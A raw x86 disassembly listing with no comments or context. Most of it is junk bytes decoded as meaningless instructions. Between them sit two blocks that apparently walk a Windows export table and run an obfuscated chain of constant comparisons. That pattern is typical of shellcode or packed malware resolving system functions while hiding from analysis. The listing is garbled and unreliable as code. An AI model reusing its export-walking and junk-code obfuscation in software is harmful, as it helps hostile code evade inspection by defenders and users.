add esi, dword [edi]
mov esi, 0x45394ead
inc esp
cmp eax, 0x669776f8
sar byte [ebp - 0x2aae0e86], 0x70
sbb al, 3
fadd dword [edx]
test dword [ebp + 0x24], edx
inc ebp
invalid
in al, dx
xchg edi, eax
sbb byte [edi], bl
daa
jl 0x70b38e14
popfd
sbb ch, byte [ebx - 0x21750848]
mov cl, 0x3f
xchg edx, eax
push ebx
fbstp tbyte [edi + 0x2a57c3ec]
xor dword [ecx + 0x1c48c320], ebp
test eax, 0x3d972b83
fst qword [edi + 0x2e]
and al, 0x57
pushal
adc eax, 0xe763deb
fbld tbyte [eax + 0x47235a27]
inc ecx
mov ch, 0xb2
dec esi
mov byte [eax], al
je 0x70b38dc1
pop ebx
push ebx
push ss
mov dword [0x4a470347], eax
out 0xa5, eax
in eax, dx
sbb byte [edx + 0x1b5eabf2], 0x9e
invalid
popfd
iretd
nop
jmp 0x70b392b3
nop
movzx eax, word [ebp - 0xa]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x10c]
add eax, edx
movzx eax, word [eax]
movzx eax, ax
lea edx, [eax*4]
mov eax, dword [ebp - 0xcc]
add eax, edx
mov eax, dword [eax]
mov ecx, eax
mov ebx, 0
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x1a8], 0x4704a
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1b0], 0xb4516
mov dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1a4]
imul eax, dword [ebp - 0x1b0]
mov edx, eax
mov eax, dword [ebp - 0x1ac]
imul eax, dword [ebp - 0x1a8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x1a8]
mul dword [ebp - 0x1b0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov dword [ebp - 0x1b8], eax
mov dword [ebp - 0x1b4], edx
mov eax, dword [ebp - 0x1b8]
xor eax, 0x5d3985c
mov edx, dword [ebp - 0x1b4]
xor edx, 0x32
or eax, edx
je 0x70b40c4f
mov edx, 0x5d3985c
mov eax, 0x32
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0xeb850
or eax, dword [ebp - 0x1b4]
je 0x70b3c580
mov edx, 0xeb850
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0xe82c7
or eax, dword [ebp - 0x1b4]
je 0x70b3a726
mov edx, 0xe82c7
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0xe61a5
or eax, dword [ebp - 0x1b4]
je 0x70b3d9bc
mov edx, 0xe61a5
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0xc8571
or eax, dword [ebp - 0x1b4]
je 0x70b40743
mov edx, 0xc8571
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0xbb7ae
or eax, dword [ebp - 0x1b4]
je 0x70b3b653
mov edx, 0xbb7ae
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0xa0f45
or eax, dword [ebp - 0x1b4]
je 0x70b3fd25
mov edx, 0xa0f45
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x840c4
or eax, dword [ebp - 0x1b4]
je 0x70b3edf8
mov edx, 0x840c4
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x81f3a
or eax, dword [ebp - 0x1b4]
je 0x70b3decb
mov edx, 0x81f3a
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x79281
or eax, dword [ebp - 0x1b4]
je 0x70b39d08
mov edx, 0x79281
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x684ce
or eax, dword [ebp - 0x1b4]
je 0x70b3cf9e
mov edx, 0x684ce
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x5ac7a
or eax, dword [ebp - 0x1b4]
je 0x70b3f307
mov edx, 0x5ac7a
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x48ac2
or eax, dword [ebp - 0x1b4]
je 0x70b3e8e9
mov edx, 0x48ac2
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x463ea
or eax, dword [ebp - 0x1b4]
je 0x70b3f816
mov edx, 0x463ea
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x41435
or eax, dword [ebp - 0x1b4]
je 0x70b3b144
mov edx, 0x41435
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x3a68c
or eax, dword [ebp - 0x1b4]
je 0x70b3c071
mov edx, 0x3a68c
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x37207
or eax, dword [ebp - 0x1b4]
je 0x70b3ac35
mov edx, 0x37207
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x35813
or eax, dword [ebp - 0x1b4]
je 0x70b397f9
mov edx, 0x35813
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x31de9
or eax, dword [ebp - 0x1b4]
je 0x70b3ca8f
mov edx, 0x31de9
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x2e3c2
or eax, dword [ebp - 0x1b4]
je 0x70b3a217
mov edx, 0x2e3c2
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x2148e
or eax, dword [ebp - 0x1b4]
je 0x70b3d4ad
mov edx, 0x2148e
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0x16766
or eax, dword [ebp - 0x1b4]
je 0x70b3e3da
mov edx, 0x16766
mov eax, 0
cmp edx, dword [ebp - 0x1b8]
sbb eax, dword [ebp - 0x1b4]
jl 0x70b40c52
mov eax, dword [ebp - 0x1b8]
xor eax, 0xdfc2
or eax, dword [ebp - 0x1b4]
je 0x70b40234
mov eax, dword [ebp - 0x1b8]
xor eax, 0x15848
or eax, dword [ebp - 0x1b4]
je 0x70b3bb62
jmp 0x70b40c52
ret 0xb91b
rcr dword [edi + 0x7a055a2b], cl
push edx
dec ebp
movsb byte es:[edi], byte [esi]
cld
je 0x70b39d1e
retf 0x4b77
mov eax, dword [0x86ced93c]
mov ecx, edi
dec edi
xor al, 0xd3
xchg ecx, eax
daa
int1
imul edi, dword [ebp + ebx*8 + 0x13], 0xffffffba
wait
js 0x70b39d31
int3
xchg dword [ecx - 0x6a4c46a9], edx
int 0xbe
fimul word [esi + 0x5f39b603]
fbstp tbyte [eax]
retf
xor al, 0xd3
push ecx
in eax, dx
mov ch, 0x11
mov dh, 0x6d
inc ebp
lcall 0x9603, 0xb9566ac
and al, 0x43
and al, 0x7b
nop
int3
pop ebx
xchg esp, eax
mov byte [ebx - 0x2d1f58c4], bl
cmpsd dword [esi], dword es:[edi]
cwde
sbb al, 0x17
stc
in eax, 0xf1
je 0x70b3a70a
add dword [eax - 0x68f8e5b4], 0x5ee94ab7
jno 0x70b3a72f
nop
frstor dword [edx]
cwde
mov byte [0x72b03a8], al
adc dl, byte [edi]
sub cl, dl
jmp 0x675457d
fidivr word [0xc570e4a3]
sub al, 0x74
retf
sub edx, dword [edx]
xchg ebx, eax
jmp 0xe88b8202
jg 0x70b3b678
fadd qword [ebx + 0x4cee43c]
sub dword [edx - 0x4a39feb6], esp
invalid
sub edx, dword [edx]
ret 0x7b8
xlatb
push esi
xchg ebx, eax
lodsb al, byte [esi]
pop ds
idiv byte [ebp - 0x3478d174]
pushal
xchg edx, eax
dec ebp
in al, 0x96
test dword [ecx], edx
dec ecx
retf 0xbe8c
inc ebx
invalid
out dx, eax
sbb ah, dh
pop eax
push 0x11089d65
cld
invalid
in al, dx
xor al, byte [edi]
xchg esp, eax
mov esi, 0x3e0cc085
movsd dword es:[edi], dword [esi]
sbb byte [ecx - 0x238c81aa], 0xf6
cdq
push esi
jle 0x70b3c602
fdivr st(6), st(0)
jb 0x70b3c5a3
jle 0x70b3c58b
add dh, byte [ebp - 0x7a062036]
mov edi, 0xd1104741
rol byte [ecx + 0x16bb684b], 0x49
push 0x52
push 0x6a4916bb
push edx
pop edi
and byte [ebp - 0x5bd36d02], bl
adc eax, 0x237d5a5a
adc dword [esi - 0x4f6512c5], ecx
jl 0x70b3c56e
neg dword [eax - 0x6e]
push eax
or al, 0x47
dec edi
xchg ebp, eax
sbb byte [0x1f9d7bce], al
ret 0xec03
movsb byte es:[edi], byte [esi]
jmp 0x70b3c58f
mov dh, 0xa7
hlt
cmp al, 0xf6
insb byte es:[edi], dx
int1
xor edi, edx
push ds
leave
invalid
cmp dword [ebp + 0x1f4cd64d], edi
fist dword [ebp + 0x73ab4679]
int3
cmp byte [0xaaf1c873], 0xb5
lea edx, [eax + 0x41c4e9cc]
add byte [eax], al
jl 0x70b3ca73
lea esi, [ebx]
jge 0x70b3ca80
cmp byte [edx + 0x45], ah
jge 0x70b3ca3e
dec esp
salc
test al, 0x21
add al, 0x6d
jg 0x70b3ca6a
clc
retf 0x7d03
enter 0xffffffffffffaaa4, 0x6d
add ebp, dword [eax - 0x3d]
sbb edi, dword [eax]
mov al, 0xe7
mov ds, word [esp + ebp*4 + 0x63]
neg byte [esi + 0x5e]
mov byte [edx - 0xa], cl
add ebp, ebp
pop ds
add dword [ecx - 0x60aaea1f], ecx
mov bl, 0xb4
mov ah, 0x85
nop
int3
int1
jg 0x70b3cec9
imul edx, esi, 0x3c63c92
lodsd eax, dword [esi]
rcl ch, 1
xchg edx, eax
mov ebp, 0x4cbcdabe
nop
int3
dec edx
cld
rol edi, 0xeb
lds cx, [ebp - 0x25]
das
pop edi
jne 0x70b3cf2f
add esp, dword [edx + 0x65c39ad]
loope 0x70b3cfbe
leave
xor bl, byte [eax - 0x5db6b92]
ror ebx, 1
out 0xf7, eax
add byte [eax - 0x258ef55], cl
dec edi
cmp dword [ecx + esi*2 - 0x6f238341], ebx
int3
into
fst qword [ecx + ebx*8 - 0x5b92ddd4]
xor eax, 0xe169837b
or byte [ebp - 0x679ed3d7], bh
call 0xfed0688
aas
jo 0x70b3cff9
jle 0x70b3cf6a
and byte [ecx + 0x318d815], 0x27
fcomp dword [eax]
add esp, dword [edi]
xchg dx, ax
xor byte [0xebb6dcd7], dh
sub dword [0xfdd5c07], esi
fdiv dword [ecx - 0xb]
or eax, 0x7d0f91e8
ljmp 0x790b
salc
adc ecx, esi
pop ebx
mov ebx, 0xb6a8b1df
cld
je 0x70b3cf98
pop esi
leave
xchg esi, eax
cmp al, 0x79
test eax, 0x69fc128e
cwde
fsubr st(5)
jmp 0x5baee1d2
imul eax, dword [ebx + 0x876698f], 0x2c
shr byte [0xcc902dd2], cl
ret
sar byte [ecx], cl
dec esi
push cs
dec ebp
loope 0x70b3d48c
aad 0xbf
jp 0x70b3d487
salc
sbb byte [edx], ch
xchg esp, eax
imul ebp, edx, 0x2e
wait
pop es
lds esp, [ecx - 0x11]
inc edi
push esi
in al, dx
xchg ecx, eax
or byte [eax], 0x56
push 0xffffffffffffff85
inc esp
pop ss
and eax, 0xe35b9018
add al, 0xbb
lahf
stc
cmp cl, byte [ebx]
nop
pop ebx
jecxz 0x70b3d482
mov ebx, 0xb3af99f
or esp, dword [eax]
das
and byte [edi], ch
invalid
salc
aaa
invalid
out 0xab, al
rcl byte gs:[esp + ebx + 0x7432a586], 0xc5
pop ebp
sbb al, 0x86
movsd dword es:[edi], dword [esi]
xor dh, byte [ebp + eax*8 + 0x5d]
xchg byte [ebp + 0x5dc57432], ah
and al, 0x5e
push 0x14
adc al, 0xf9
xor al, 0xf4
rcl byte [edi - 0x27]
jno 0x70b3d4f6
not byte [eax + 0x37a6e9cc]
add byte [eax], al
xlatb
dec ebp
cmp bh, ah
xchg esi, eax
jne 0x70b3d491
ja 0x70b3d455
mov cl, 0xf1
cmpsb byte [esi], byte es:[edi]
lahf
aam 0x23
push es
jl 0x70b3d445
jne 0x70b3d492
insd dword es:[edi], dx
stosd dword es:[edi], eax
adc byte [ecx], ch
mov byte [ebp - 0x247fb6cd], dl
mov cl, 0x99
cmpsb byte [esi], byte es:[edi]
mov dword [0x760c0911], esi
salc
outsb dx, byte [esi]
jge 0x70b3d4d9
sub dh, byte [ecx]
dec ecx
popal
adc al, 0x4a
mov bl, 0xd3
clc
sub al, 0x92
push ds
pop es
cmc
and byte [edi], cl
neg dword [edi - 0x3d]
mov esp, 0xf3e47faf
jnp 0x70b3d53b
jl 0x70b3d47a
push edx
sahf
adc al, byte [esi + 0x43c91317]
push ss
nop
int3
pop es
sti
pop eax
pushfd
jmp 0x70b3d594
dec esi
inc ebx
add dh, al
push es
aas
jae 0x70b3d61b
inc edx
test dword [ebx + 0x690be7e2], edi
hlt
sbb cl, bh
leave
sub al, 0x96
stc
mov ebx, 0x75913f27
sbb byte [edi*2 - 0x214b9fd1], dh
popal
or edx, esi
dec eax
adc ebx, dword [ebx]
jl 0x70b3d647
jno 0x70b3d691
hlt
xchg esp, eax
sub byte [eax], bl
dec esi
sub bl, dl
adc dl, byte [edx]
jns 0x70b3d64d
jae 0x70b3d63d
adc byte [eax + edi*2 + 0x6c], ch
mov eax, dword [0xdfafcaa3]
outsd dx, dword [esi]
mov byte [eax + 0x30], ah
scasd eax, dword es:[edi]
movsb byte es:[edi], byte [esi]
lea edx, [eax - 0x5c096834]
shl esp, 1
pushal
dec esi
pop eax
sahf
jne 0x70b3d6a5
jne 0x70b3d62d
jle 0x70b3d66c
or ebx, 0xffffff98
retf 0x9f4e
retf
imul eax, edi, 0x21
sub eax, 0x116a7dfd
aas
mov edx, 0xf7d154d9
sbb cl, byte [eax - 0x3d]
call 0xbd0411e3
push eax
dec esp
shl byte [esi + 0x5c], 0xdd
dec edx
and dword [ecx], 0x4724cc90
cmpsd dword [esi], dword es:[edi]
mov edx, 0x4579ecfe
popal
pop es
clc
fimul word [ebp - 0x5c16dee8]
xchg dword [ebp - 0x1e], edi
and al, 0xb
cmp byte [esi - 0x16], bh
call 0xbd206994
stc
rcl edx, 1
push es
cdq
bound ecx, qword [eax + 0x53]
add bh, byte [edi + 0x7293db63]
or al, 0x39
std
push 0xffffffffffffffc9
iretd
adc al, 0x3c
mov cl, 0xf1
jo 0x70b3da00
mul dword [0xbfd0c162]
test eax, 0x979c8e23
shl byte [esi + 0x7ade4b1c], 0x1d
xor eax, 0xe2afc05d
lodsd eax, dword [esi]
push esp
arpl dx, si
and ebp, ebp
xchg ebp, eax
fisttp qword [edi + 0x7fd6333b]
movhps xmm0, qword [ebp - 0x58aff9b1]
enter 0x4a14, 1
dec ebx
arpl si, si
sub ecx, 0x22d481fa
jbe 0x70b3da14
shr dword [ecx + edi*8 + 0x67], 1
sbb byte [ecx - 0x1e], 0xc9
sbb byte [bx + di - 0x1e], 0xc9
dec esi
lds esp, [esi + 0x7b93b1d8]
int3
int3
lahf
pop ebp
add byte [esi], al
push esp
das
pop es
lds edi, [esi - 0x31]
and al, 0xfd
mov dl, byte [ebp + 0x5429bb1f]
mov esp, 0x1e088925
stosb byte es:[edi], al
cwde
dec eax
loope 0x70b3da11
cwde
jo 0x70b3da9b
mov dh, 0xb
out dx, eax
ret
int3
pop ebx
xchg esp, eax
cmpsb byte [esi], byte es:[edi]
std
int3
sub byte [eax - 0x694c898c], al
loope 0x70b3de73
sbb al, 0x8f
movsd dword es:[edi], dword [esi]
imul ebp, dword [ebx + 0x29e3a40a], 3
jl 0x70b3df0b
inc eax
sar bl, 0x59
enter 0x1918, 0x6f
salc
mov ebx, 0xa9be42cc
mov bl, 0x13
mov eax, 0x9ee33cfc
add esi, dword [ecx + 0x6d]
add ebx, dword [eax - 0x49a65c43]
pop edi
jnp 0x70b3df0b
inc esi
cmp cl, byte [eax]
ficom dword [ecx + ecx*4]
mov ecx, 0xa10564e4
add eax, 0x4fe26140
das
mov ebp, 0x5594bede
iretd
invalid
shl byte [edi + 0x2c], 0x78
sub al, 0x78
or dl, cl
push esp
call 0x96fa3d60
adc ch, byte [ebx + 6]
cmpsb byte [esi], byte es:[edi]
add byte [eax - 0x1a933f6e], 0x7b
mov dword [0x71a368e8], eax
lcall 0x9044, 0x97f057c6
push ds
jb 0x70b3e429
jo 0x70b3e465
leave
or eax, 0x8ebfd320
sbb dh, 0x5c
mov dword [ebp + 0x296f5d38], 0x5c77f9fc
mov eax, 0xfc6f2ba9
inc ebp
pop ds
insd dword es:[edi], dx
or al, 0xe0
lodsd eax, dword [esi]
and eax, 0xf24431cc
out dx, eax
sbb byte [edx], bl
ret
or esp, dword [ecx + 0x45]
scasd eax, dword es:[edi]
xor dl, byte [eax + 0x52d966cc]
add dh, ah
pop edi
jns 0x70b3e3dc
rcr byte [ebp + 0x6f3a7069], cl
mov ebx, 0xba9437af
jge 0x70b3e3ca
popfd
sbb bh, byte [ebp + 0x8d2366f]
and eax, 0x6c2c9fed
push 0x92e75a2d
mov ebp, 0x8ce1126c
push esp
cmp eax, 0xf14a8b23
mov ch, 0x3c
cmp byte [ebx + 0x33], bh
movsd dword es:[edi], dword [esi]
cmp dword [ecx + 0x2f676b50], ebp
xor esp, dword [ebp + 0x6b50a939]
das
clc
into
adc eax, dword [ebx + 0x56]
pop edi
add ah, 5
sbb eax, 0x96c96133
mov ebx, 0xa760b44a
inc esi
insd dword es:[edi], dx
sbb dl, byte [edi]
nop
int3
jle 0x70b3e914
stosb byte es:[edi], al
or dword [ebx], 0xffffffee
inc ecx
int 0xf4
or byte [edi - 0x76], bh
rcl byte [ebx], cl
clc
jo 0x70b3e933
aad 0xa2
fisubr dword [edi]
pop esp
push eax
cdq
das
cmp dword [edi - 0x66163ba2], ebx
pop esi
mov al, byte [0xd556e586]
jns 0x70b3e982
jl 0x70b3e974
mov cl, 0x1c
invalid
sbb al, 0x8f
pop edi
mov eax, dword [0xa286dd8]
xlatb
push esp
mov ebp, gs
pcmpgtb mm1, mm6
jecxz 0x70b3e8eb
inc edx
mov dh, 0x6d
test dword [eax + eax*2 - 0x4e], esi
mov dl, 0x82
mov ch, dl
imul eax, dword [esi], 0x38
dec edi
adc ebx, ebx
daa
invalid
cmp byte [edi + 0x13], cl
invalid
adc ah, byte [ecx]
invalid
sub eax, 0x68b2f03f
mov ch, 0xb1
lcall 0x5b8b, 0x1f38922b
lea ebx, [edi + edi - 0x70]
int3
and al, 0xd2
cmpsd dword [esi], dword es:[edi]
lea edi, [esi - 0x4fea1c49]
arpl word [ebp + 0x50], dx
invalid
jbe 0x70b3edba
xchg edx, eax
fild dword [ebx - 0x2e]
jp 0x70b3edba
bound esi, qword gs:[ebp + ebp*2 + 0x2b]
pushal
aaa
xchg edi, eax
ljmp 0x32dc
mov al, byte [0x2e7d6f72]
add esp, 0x5af3f3ae
in eax, dx
pushal
mov edx, 0x68d59ea8
je 0x70b3f36e
jbe 0x70b3f337
push eax
cmp dword [ebx - 0x2a], ebp
invalid
push 0x258f19be
insb byte es:[edi], dx
inc edx
xchg ecx, eax
aam 0x7c
jns 0x70b3f386
iretd
sbb eax, 0x847ed9bb
mov ecx, 0xda025731
insd dword es:[edi], dx
out 0xeb, al
fld dword [ebx - 0x20]
jecxz 0x70b3f3ec
invalid
or dl, byte [edx - 0x19]
invalid
out dx, eax
mov bh, 0x77
add eax, 0x3c9f2602
push ecx
movsd dword es:[edi], dword [esi]
sub esi, dword [ecx + edi*2 - 0x5659637]
stosd dword es:[edi], eax
imul eax, dword [edi + 0x2b853ea3], 0x6a
cmp eax, 0xd2cc9014
sbb ebp, dword [ebx]
cmp bh, bl
add esi, dword [edx + 0x26cd4dfd]
int1
xor byte [edx - 0x43], 0x71
ret 0xcfe3
or bl, ah
sub esp, dword [ebx + 0x10984cda]
out 0xf, al
add eax, 0xf4eff836
lcall 0x3a02, 0x87c104f2
arpl word [eax + ebx*4 + 0x6b31b69c], sp
cmpsd dword [esi], dword es:[edi]
lahf
das
int 0x86
push ebx
add al, 0xc1
xchg dword [edx], eax
cmp ah, byte [ebx - 0x5c]
cwde
pushfd
mov dh, 0x31
imul esp, dword [edi - 0x7932d061], 0x53
pop eax
fisttp qword [ecx - 0x1bc6dacc]
std
and al, 0xfb
bound edx, qword [esi - 0x5bb30f14]
sbb dh, byte [eax - 0x6e42a26c]
xchg esp, eax
leave
mov esi, 0x1205458f
xchg dword [eax - 0x532e0996], ebx
dec edi
jg 0x70b3f827
in eax, dx
pop ebp
and al, 0x21
sub dword [ebp + 0x70], esi
inc bh
inc eax
mov al, 0x90
int3
or byte [ebx], ch
out dx, al
aaa
push ebp
dec ebp
cmpsd dword [esi], dword es:[edi]
sar dword [edi - 0x10e9a839], cl
test eax, 0xca4978d
inc eax
xchg ebp, eax
aaa
pop esi
xor dl, byte [edx + 0x6c]
inc esp
push esi
sub dword [esi - 0xa], esp
pop ecx
invalid
imul dword [edx + 2]
sbb byte [eax], bl
adc dh, byte [eax - 0x42198477]
mov al, 0x68
sbb esi, esp
test dword [esi - 0x7e], esp
and al, 0x90
int3
or al, byte [eax]
add byte [edx - 0x7f], ah
mov byte [0x1fd026f4], al
bound eax, qword [ecx - 0x2fd90b5e]
pop ds
inc ebp
jge 0x70b40286
pushfd
daa
and esi, dword [ecx + 0x7d]
xchg dword [edi], eax
sal dword [edx + 0x79], 1
stc
dec edi
mov dl, byte [eax - 0x3e]
push edi
fldcw word [ecx + 0x65191eb8]
mov al, byte [0xb40b242f]
dec esp
xchg esp, eax
add eax, ecx
lahf
jecxz 0x70b40298
cmpsd dword [esi], dword es:[edi]
jae 0x70b40231
invalid
inc eax
jbe 0x70b40219
int3
sub byte [eax - 0x72758b34], al
in al, 0x5e
invalid
xor byte [edx - 0x2d010aec], bl
movsb byte es:[edi], byte [esi]
sbb edi, dword [edi]
in al, dx
sbb dl, byte [ebp + 0x5f]
mov bl, 0x56
xor edi, dword [ebx + 0x734f9bee]
retf
nop
jmp 0x70b40c53
nop
mov eax, dword [ebp - 0x19c]
jmp 0x70b485e7
movzx eax, word [ebp - 0xa]
add eax, 1
mov word [ebp - 0xa], ax
movzx edx, word [ebp - 0xa]
mov eax, dword [ebp - 0xac]
mov eax, dword [eax + 0x18]
cmp edx, eax
jb 0x70b303b2
mov dword [ebp - 0x150], 0x31fee
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x158], 0x9fefc
mov dword [ebp - 0x154], 0
mov eax, dword [ebp - 0x14c]
imul eax, dword [ebp - 0x158]
mov edx, eax
mov eax, dword [ebp - 0x154]
imul eax, dword [ebp - 0x150]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x150]
mul dword [ebp - 0x158]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x160], eax
mov dword [ebp - 0x15c], edx
mov eax, dword [ebp - 0x160]
xor eax, 0x3c1f9248
mov edx, dword [ebp - 0x15c]
xor edx, 0x1f
or eax, edx
je 0x70b485dd
mov edx, 0x3c1f9248
mov eax, 0x1f
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0xe49e9
or eax, dword [ebp - 0x15c]
je 0x70b42ad2
mov edx, 0xe49e9
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0xce3e7
or eax, dword [ebp - 0x15c]
je 0x70b434f0
mov edx, 0xce3e7
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0xcd6a6
or eax, dword [ebp - 0x15c]
je 0x70b439ff
mov edx, 0xcd6a6
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0xcc553
or eax, dword [ebp - 0x15c]
je 0x70b46786
mov edx, 0xcc553
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0xbc9b0
or eax, dword [ebp - 0x15c]
je 0x70b476b3
mov edx, 0xbc9b0
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0xb490e
or eax, dword [ebp - 0x15c]
je 0x70b425c3
mov edx, 0xb490e
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x91d60
or eax, dword [ebp - 0x15c]
je 0x70b41696
mov edx, 0x91d60
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x87c39
or eax, dword [ebp - 0x15c]
je 0x70b41187
mov edx, 0x87c39
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x872ba
or eax, dword [ebp - 0x15c]
je 0x70b46277
mov edx, 0x872ba
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x6df6d
or eax, dword [ebp - 0x15c]
je 0x70b45859
mov edx, 0x6df6d
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x5ed47
or eax, dword [ebp - 0x15c]
je 0x70b41ba5
mov edx, 0x5ed47
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x588cd
or eax, dword [ebp - 0x15c]
je 0x70b4534a
mov edx, 0x588cd
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x54535
or eax, dword [ebp - 0x15c]
je 0x70b4492c
mov edx, 0x54535
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x4e12f
or eax, dword [ebp - 0x15c]
je 0x70b4441d
mov edx, 0x4e12f
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x42d52
or eax, dword [ebp - 0x15c]
je 0x70b471a4
mov edx, 0x42d52
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x3e499
or eax, dword [ebp - 0x15c]
je 0x70b420b4
mov edx, 0x3e499
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x3dab7
or eax, dword [ebp - 0x15c]
je 0x70b44e3b
mov edx, 0x3dab7
mov eax, 0
cmp edx, dword [ebp - 0x160]
sbb eax, dword [ebp - 0x15c]
jl 0x70b485e0
mov eax, dword [ebp - 0x160]
xor eax, 0x3c93b
or eax, dword [ebp - 0x15c]
je 0x70b42fe1
mov edx, 0x3c93b
mov eax, 0
cmp edx, dword [ebp - 0x160]
